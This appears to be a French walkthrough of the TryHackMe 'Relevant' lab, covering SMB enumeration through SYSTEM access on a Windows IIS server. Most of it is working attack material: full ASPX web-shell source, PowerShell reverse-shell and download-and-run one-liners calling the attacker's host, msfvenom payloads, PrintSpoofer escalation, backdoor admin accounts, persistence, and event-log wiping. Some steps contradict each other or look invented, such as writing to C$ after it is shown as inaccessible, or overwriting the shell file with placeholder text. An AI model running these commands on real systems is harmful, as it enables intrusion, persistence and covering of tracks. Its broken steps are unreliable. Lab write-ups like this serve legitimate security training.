Solution Complète : Relevant (TryHackMe)

Table des matières

  1. Reconnaissance
  2. Énumération des services
  3. Exploitation SMB
  4. Accès au serveur web
  5. Obtention d'un shell
  6. Escalade de privilèges
  7. Post-Exploitation

Reconnaissance

Étape 1 : Scan des ports

Commande :

nmap -sV -sC -p- -oN nmap_scan.txt <IP_CIBLE>

Explications :
- -sV : Détecte les versions des services
- -sC : Exécute les scripts par défaut de nmap
- -p- : Scanne tous les ports (1-65535)
- -oN : Sauvegarde dans un fichier texte

Résultat attendu pour Relevant :

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Étape 2 : Scan rapide pour priorités

Commande :

nmap -T4 -A <IP_CIBLE>

Explications :
- -T4 : Scan plus agressif (4ème niveau de timing)
- -A : Mode complet (version, OS, scripts, traceroute)

Focus sur les ports intéressants :
- Port 80 : Serveur web (HTTP)
- Port 445 : SMB (partages fichiers)
- Port 3389 : RDP (Remote Desktop)


Énumération des services

Étape 3 : Énumération SMB

Commande 1 - Lister les partages :

smbclient -L //<IP_CIBLE> -N

Explications :
- -L : Liste les partages disponibles
- -N : Pas d'authentification (null session)

Résultat attendu :

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
nt4wrkstn       Disk      nt4wrkstn
profiles        Disk

Commande 2 - Énumération détaillée avec smbmap :

smbmap -H <IP_CIBLE> -u "" -p ""

Explications :
- -H : Spécifie l'hôte
- -u "" : Utilisateur vide
- -p "" : Mot de passe vide

Résultat :

[+] IP: <IP_CIBLE>:445  Name: RELEVANT
    Disk                                                    Permissions Comment
    ----                                                    ----------- -------
    ADMIN$                                              NO ACCESS   Remote Admin
    C$                                                  NO ACCESS   Default share
    IPC$                                                NO ACCESS   Remote IPC
    nt4wrkstn                                           READ, WRITE nt4wrkstn
    profiles                                            READ, WRITE

Étape 4 : Accès aux partages SMB

Commande - Accès au partage nt4wrkstn :

smbclient //<IP_CIBLE>/nt4wrkstn -N

Actions une fois connecté :

# Lister le contenu
ls
cd /

# Voir les fichiers
ls -la

# Examiner la structure
dir

# Chercher les fichiers intéressants
find . -type f -name "*.txt"
find . -type f -name "*.doc"
find . -type f -name "*.pdf"

Télécharger des fichiers :

get filename.txt
mget *.txt

Alternative avec smbmap :

smbmap -H <IP_CIBLE> -u "" -p "" -r nt4wrkstn
smbmap -H <IP_CIBLE> -u "" -p "" -r profiles

Étape 5 : Énumération RPC

Commande :

rpcclient -U "" <IP_CIBLE> -N

Une fois connecté :

# Énumérer les utilisateurs
enumdomusers

# Énumérer les groupes
enumdomgroups

# Obtenir info sur le domaine
querydominfo

# Énumérer les shares
netshareenum

# Quitter
quit

Alternative - Command directe :

rpcclient -U "" <IP_CIBLE> -N -c "enumdomusers"
rpcclient -U "" <IP_CIBLE> -N -c "netshareenum"

Résultat attendu :

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[Bob] rid:[0x3e8]

Exploitation SMB

Étape 6 : Recherche de fichiers sensibles

Sur le partage accessible :

# Lister tous les fichiers
smbclient //<IP_CIBLE>/nt4wrkstn -N -c "recurse ON; ls"

# Télécharger tous les fichiers
smbclient //<IP_CIBLE>/nt4wrkstn -N -c "prompt OFF; recurse ON; mget *"

Chercher des patterns :

# Mots de passe potentiels
grep -ri "password" .
grep -ri "pass" .
grep -ri "pwd" .

# Noms d'utilisateurs
grep -ri "user" .
grep -ri "admin" .

# Fichiers sensibles
find . -name "*.txt"
find . -name "*.config"
find . -name "*.xml"
find . -name "*.ini"

Étape 7 : Upload de fichiers malveillants

Vérifier l'accès en écriture :

smbclient //<IP_CIBLE>/nt4wrkstn -N
# Une fois connecté:
> put test.txt
> del test.txt

Créer un fichier test :

echo "test" > test.txt

Upload via smbclient :

smbclient //<IP_CIBLE>/nt4wrkstn -N -c "put shell.aspx"

Vérifier l'upload :

smbclient //<IP_CIBLE>/nt4wrkstn -N -c "ls"

Accès au serveur web

Étape 8 : Énumération du serveur web

Commande 1 - Accès basique :

curl -v http://<IP_CIBLE>/

Explications :
- -v : Mode verbose (affiche les en-têtes)

Commande 2 - Recherche de répertoires :

gobuster dir -u http://<IP_CIBLE> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt,asp,aspx

Explications :
- dir : Mode enumération de répertoires
- -w : Wordlist de répertoires
- -x : Extensions à tester

Alternative avec ffuf :

ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.html,.txt,.asp,.aspx -fc 404

Résultat attendu :

[Status: 200, Size: 1234] | http://<IP_CIBLE>/
[Status: 301, Size: 152] | http://<IP_CIBLE>/documents
[Status: 200, Size: 567] | http://<IP_CIBLE>/index.html
[Status: 200, Size: 890] | http://<IP_CIBLE>/upload.aspx

Étape 9 : Vérification des répertoires trouvés

Commandes :

# Vérifier un répertoire
curl http://<IP_CIBLE>/documents/

# Vérifier une page spécifique
curl http://<IP_CIBLE>/upload.aspx

# Télécharger une page
curl -o page.html http://<IP_CIBLE>/index.html

Étape 10 : Recherche de vulnérabilités upload

Examiner la page upload :

curl http://<IP_CIBLE>/upload.aspx > upload.html
cat upload.html | grep -i "form\|input\|action"

Chercher les uploads réussis :

# Vérifier si les uploads sont stockés
curl -v http://<IP_CIBLE>/uploads/
curl -v http://<IP_CIBLE>/Documents/
curl -v http://<IP_CIBLE>/files/

Obtention d'un shell

Étape 11 : Création d'un shell ASPX

Génération du payload :

# Avec msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<VOTRE_IP> LPORT=4444 -f aspx -o shell.aspx

Alternative - Shell basique ASPX :

cat > shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        string cmd = Request["cmd"];
        if (!string.IsNullOrEmpty(cmd))
        {
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = "/c " + cmd;
            psi.RedirectStandardOutput = true;
            psi.UseShellExecute = false;
            Process proc = Process.Start(psi);
            StreamReader sr = proc.StandardOutput;
            string output = sr.ReadToEnd();
            Response.Write("<pre>" + output + "</pre>");
        }
    }
</script>
EOF

Étape 12 : Upload du shell

Via SMB :

# Créer le fichier shell
echo "shell.aspx content" > shell.aspx

# Upload via smbclient
smbclient //<IP_CIBLE>/nt4wrkstn -N -c "put shell.aspx"

# Vérifier l'upload
smbclient //<IP_CIBLE>/nt4wrkstn -N -c "ls"

Via le formulaire web (si disponible) :

# Trouver le répertoire web
find / -name "inetpub" 2>/dev/null
find / -name "wwwroot" 2>/dev/null

# Upload via curl
curl -F "file=@shell.aspx" http://<IP_CIBLE>/upload.aspx

Étape 13 : Localiser le shell uploadé

Rechercher dans les répertoires web communs :

# Essayer différents chemins
curl http://<IP_CIBLE>/shell.aspx
curl http://<IP_CIBLE>/uploads/shell.aspx
curl http://<IP_CIBLE>/documents/shell.aspx
curl http://<IP_CIBLE>/files/shell.aspx
curl http://<IP_CIBLE>/nt4wrkstn/shell.aspx

# Vérifier les chemins SMB
smbclient //<IP_CIBLE>/C$ -N
# Une fois connecté:
> cd inetpub\wwwroot
> ls

Étape 14 : Exécution de commandes via le shell

Test simple :

curl "http://<IP_CIBLE>/shell.aspx?cmd=whoami"
curl "http://<IP_CIBLE>/shell.aspx?cmd=systeminfo"
curl "http://<IP_CIBLE>/shell.aspx?cmd=ipconfig"

Résultat attendu :

nt authority\iusr

Étape 15 : Obtenir un reverse shell interactif

Option 1 - Via netcat :

# Sur votre machine - écouter
nc -lvnp 4444

# Exécuter sur le serveur
curl "http://<IP_CIBLE>/shell.aspx?cmd=nc.exe+-e+cmd.exe+<VOTRE_IP>+4444"

# Alternative avec powershell
curl "http://<IP_CIBLE>/shell.aspx?cmd=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://<VOTRE_IP>/shell.ps1')"

Option 2 - Avec MSFvenom/Metasploit :

# Générer le payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<VOTRE_IP> LPORT=4444 -f aspx -o shell.aspx

# Uploader et accéder
curl http://<IP_CIBLE>/shell.aspx

# Dans un autre terminal, lancer metasploit
msfconsole
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST <VOTRE_IP>
> set LPORT 4444
> exploit

Option 3 - Reverse shell PowerShell :

# Créer le script PowerShell
cat > reverse.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TcpClient("<VOTRE_IP>",4444)
$stream = $client.GetStream()
[byte[]]$buffer = 0..65535|%{0}
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
EOF

# Servir le fichier avec Python
python -m http.server 8000

# Télécharger et exécuter
curl "http://<IP_CIBLE>/shell.aspx?cmd=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://<VOTRE_IP>:8000/reverse.ps1')"

Étape 16 : Vérifier la connexion

Commandes de base :

whoami
systeminfo
ipconfig
dir
cd /
dir C:\

Escalade de Privilèges

Étape 17 : Énumération système

Commandes :

# Utilisateur actuel et droits
whoami
whoami /priv
whoami /groups

# Informations système
systeminfo
ver
wmic os get version

# Vérifier les patches installés
wmic qfe get hotfixid

# Lister les utilisateurs locaux
net user

# Lister les groupes locaux
net localgroup

# Administrateurs
net localgroup Administrators

# Services en cours
tasklist /v
tasklist /SVC
wmic service list brief

# Processus intéressants
tasklist | findstr /i "server iis sql"

# Vérifier sudo-like (RunAs)
whoami /priv | findstr SeImpersonate

# Ports en écoute
netstat -ano
netstat -ano | findstr LISTENING

Étape 18 : Recherche d'une vulnérabilité locale

Utiliser Sherlock (PowerShell) :

# Télécharger Sherlock
curl https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1 -o Sherlock.ps1

# Servir via Python
python -m http.server 8000

# Exécuter sur le serveur
powershell -ExecutionPolicy Bypass -File \\<VOTRE_IP>\share\Sherlock.ps1

# Ou en one-liner
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<VOTRE_IP>:8000/Sherlock.ps1'); Find-AllVulns"

Alternative - Windows-Exploit-Suggester :

# Sur votre machine
systeminfo > systeminfo.txt  # depuis le serveur

# Utiliser l'outil
./windows-exploit-suggester.py --database 2020-05-27-mssb.xlsx --systeminfo systeminfo.txt

Étape 19 : Télécharger et exécuter un exploit

Exemple avec MS16-032 (kernel privilege escalation) :

# Télécharger l'exploit compilé
wget https://github.com/EmpireProject/Empire/raw/master/data/module_source/privesc/Invoke-MS16032.ps1

# Servir avec Python
python -m http.server 8000

# Exécuter sur le serveur (via le shell)
curl "http://<IP_CIBLE>/shell.aspx?cmd=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://<VOTRE_IP>:8000/Invoke-MS16032.ps1');Invoke-MS16032"

Alternative - Utiliser msfvenom pour un exploit en exe :

# Générer un executable privilégié
msfvenom -p windows/shell_reverse_tcp LHOST=<VOTRE_IP> LPORT=5555 -f exe -o exploit.exe

# Upload via SMB
smbclient //<IP_CIBLE>/C$ -N -c "put exploit.exe"

# Exécuter
curl "http://<IP_CIBLE>/shell.aspx?cmd=C:\exploit.exe"

Étape 20 : Vérifier si les tokens SeImpersonate sont disponibles

Commandes :

# Vérifier les privilèges
whoami /priv | findstr SeImpersonate

# Utiliser Potato exploit (PrintSpoofer, RoguePotato, etc.)
# PrintSpoofer.exe -c "C:\netcat.exe <VOTRE_IP> 4444 -e cmd.exe"

Utiliser PrintSpoofer :

# Télécharger PrintSpoofer
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

# Servir avec Python
python -m http.server 8000

# Écouter sur votre machine
nc -lvnp 4444

# Télécharger et exécuter
curl "http://<IP_CIBLE>/shell.aspx?cmd=powershell+-c+(New-Object+Net.WebClient).DownloadFile('http://<VOTRE_IP>:8000/PrintSpoofer64.exe','C:\PrintSpoofer64.exe');+C:\PrintSpoofer64.exe+-c+'C:\shell.exe+<VOTRE_IP>+4444'"

Étape 21 : Obtenir un shell administrateur

Une fois l'escalade réussie :

whoami  # Devrait montrer SYSTEM ou Administrators

# Vérifier les droits
whoami /priv
whoami /groups

# Créer un utilisateur administrateur (si nécessaire)
net user newadmin Passw0rd! /add
net localgroup Administrators newadmin /add

Étape 22 : Chercher les flags

Commandes :

# User flag
type C:\Users\<username>\Desktop\user.txt
type C:\Users\<username>\Documents\user.txt
dir C:\Users\

# Root/System flag
type C:\root.txt
type C:\flag.txt
type C:\Users\Administrator\Desktop\root.txt

# Recherche générale
dir /s /b *flag*
dir /s /b *user.txt
dir /s /b *root.txt

Post-Exploitation

Étape 23 : Maintien d'accès

Créer une tâche planifiée :

# Créer un utilisateur backdoor
net user backdoor Passw0rd123! /add
net localgroup Administrators backdoor /add

# Créer une tâche planifiée
schtasks /create /tn "Update" /tr "C:\path\to\backdoor.exe" /sc hourly

# Vérifier
net user backdoor
net localgroup Administrators
schtasks /query /tn "Update"

Ajouter à la clé de démarrage :

# Via le shell
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\backdoor.exe" /f

# Vérifier
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Créer un service :

# Créer le service
sc create "BackdoorService" binPath= "C:\path\to\backdoor.exe" start= auto

# Démarrer le service
sc start BackdoorService

# Vérifier
sc query BackdoorService

Étape 24 : Exfiltrer les données

Credentials :

# Dump des hashes
hashdump  # Si Metasploit

# Via command shell
wmic useraccount get name,sid

# Mots de passe en clair
cmdkey /list

Fichiers intéressants :

# Télécharger des fichiers
smbclient //<IP_CIBLE>/C$ -U "username%password"
> cd Users\<username>\Documents
> mget *.docx
> mget *.xlsx
> mget *.pdf

Étape 25 : Nettoyage des traces

Effacer les logs :

# Voir les logs
Get-WinEvent -LogName Security -MaxEvents 10

# Supprimer les logs (nécessite admin)
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Alternative
Remove-Item C:\Windows\System32\winevt\Logs\System.evtx

# Nettoyer l'historique
Remove-Item (Get-PSReadlineHome)\ConsoleHost_history.txt

# Supprimer l'historique des connexions
cls

Nettoyer les fichiers temporaires :

# Supprimer les fichiers uploadés
del C:\inetpub\wwwroot\shell.aspx
del C:\shell.exe

# Nettoyer les uploads
del C:\nt4wrkstn\*

# Vider la corbeille
if exist %systemroot%\Temp del /Q /F /S %systemroot%\Temp\*

Cheat Sheet Rapide

Reconnaissance

# Scan rapide
nmap -A -T4 <IP_CIBLE>

# Énumération SMB
smbclient -L //<IP_CIBLE> -N
smbmap -H <IP_CIBLE>

# RPC enumeration
rpcclient -U "" <IP_CIBLE> -N -c "enumdomusers"

Exploitation

# Accès aux partages
smbclient //<IP_CIBLE>/nt4wrkstn -N
smbclient //<IP_CIBLE>/nt4wrkstn -N -c "mget *"

# Énumération web
gobuster dir -u http://<IP_CIBLE> -w /usr/share/wordlists/dirb/common.txt -x aspx,html
ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .aspx

# Upload via SMB
smbclient //<IP_CIBLE>/nt4wrkstn -N -c "put shell.aspx"

Web Shell

# Test simple
curl "http://<IP_CIBLE>/shell.aspx?cmd=whoami"

# Reverse shell netcat
curl "http://<IP_CIBLE>/shell.aspx?cmd=nc.exe+-e+cmd.exe+<VOTRE_IP>+4444"

# Reverse shell PowerShell
curl "http://<IP_CIBLE>/shell.aspx?cmd=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://<VOTRE_IP>/shell.ps1')"

Escalade de privilèges

# Énumération
whoami /priv
systeminfo
wmic qfe get hotfixid

# Télécharger Sherlock
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<VOTRE_IP>/Sherlock.ps1'); Find-AllVulns"

# Exploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<VOTRE_IP> LPORT=4444 -f aspx -o shell.aspx

Post-exploitation

# Créer backdoor
net user backdoor Passw0rd123! /add
net localgroup Administrators backdoor /add

# Tâche planifiée
schtasks /create /tn "Update" /tr "C:\path\to\backdoor.exe" /sc hourly

# Nettoyer les logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

Outils essentiels

Outil Utilité Commande
nmap Scan de ports nmap -A <IP>
smbclient Client SMB smbclient -L //<IP> -N
smbmap Énumération SMB smbmap -H <IP>
rpcclient Client RPC rpcclient -U "" <IP> -N
gobuster Fuzzing web gobuster dir -u http://<IP> -w list.txt
ffuf Fuzzing web ffuf -u http://<IP>/FUZZ -w list.txt
curl Requêtes HTTP curl "http://<IP>/shell.aspx?cmd=whoami"
msfvenom Générer payloads msfvenom -p windows/shell_reverse_tcp ...
nc/netcat Reverse shell nc -lvnp 4444
python Serveur HTTP python -m http.server 8000

Résumé de la méthodologie

Phase 1 : Reconnaissance

  1. Scan complet des ports avec nmap
  2. Identifier les services (web, SMB, RPC)
  3. Déterminer le système d'exploitation

Phase 2 : Énumération

  1. Énumération SMB (partages, accès)
  2. Énumération RPC (utilisateurs)
  3. Énumération web (répertoires, pages)
  4. Recherche de fichiers sensibles

Phase 3 : Exploitation

  1. Upload de fichiers malveillants (via SMB ou web)
  2. Exécution du shell ASPX
  3. Test des commandes simples
  4. Obtention d'un reverse shell interactif

Phase 4 : Escalade de privilèges

  1. Énumération des droits et privilèges
  2. Recherche de vulnérabilités locales (Sherlock)
  3. Exploitation de la vulnérabilité
  4. Vérification de l'accès SYSTEM/Admin

Phase 5 : Post-exploitation

  1. Récupération des flags
  2. Maintien d'accès (optionnel)
  3. Nettoyage des traces

Points clés pour Relevant

À retenir :
- Les partages SMB accessibles permettent souvent l'upload de fichiers
- Le serveur web IIS peut servir des fichiers ASPX avec code exécutable
- L'accès en tant que IUSR peut être suffisant pour télécharger des exploits
- Les tokens SeImpersonate permettent l'escalade via Potato exploits
- Nettoyer les traces est crucial pour un engagement réaliste

⚠️ Attention :
- Vérifier que les fichiers uploadés sont accessibles via le web
- Utiliser les bonnes extensions (.aspx pour IIS, pas .php)
- Attention aux pare-feu et filtres IDS/IPS
- Les logs Windows enregistrent tout - prévoir le nettoyage

🎯 Ordre recommandé :
1. Énumération SMB en premier (souvent accessible sans creds)
2. Upload du shell ASPX
3. Accès web pour exécuter le shell
4. Reverse shell pour plus d'interactivité
5. Escalade locale


Ressources supplémentaires


Commandes Windows utiles

# Navigation
cd C:\
dir
dir /s /b /a
pushd <path>
popd

# Fichiers
type <fichier>
cat <fichier>
copy <source> <dest>
move <source> <dest>
del <fichier>

# Réseau
ipconfig /all
netstat -ano
netstat -ano | findstr LISTENING
tasklist
tasklist /v
tasklist /SVC

# Système
systeminfo
ver
wmic os get name,version
whoami
whoami /priv
whoami /groups

# Utilisateurs et groupes
net user
net localgroup
net user <username> <password> /add
net localgroup Administrators <username> /add

# Services
wmic service list brief
sc query
sc start <service>
sc stop <service>

# Registre
reg query <path>
reg add <path> /v <value> /t <type> /d <data> /f
reg delete <path>

Conclusion

Relevant est un excellent challenge pour apprendre :
1. L'énumération SMB et RPC
2. L'exploitation d'upload de fichiers
3. L'exécution d'applications web malveillantes (ASPX)
4. L'escalade de privilèges sur Windows
5. Les techniques post-exploitation

La clé du succès est une énumération minutieuse et la compréhension de comment les services SMB, RPC et IIS interagissent sur un système Windows.

Bonne chance avec le challenge !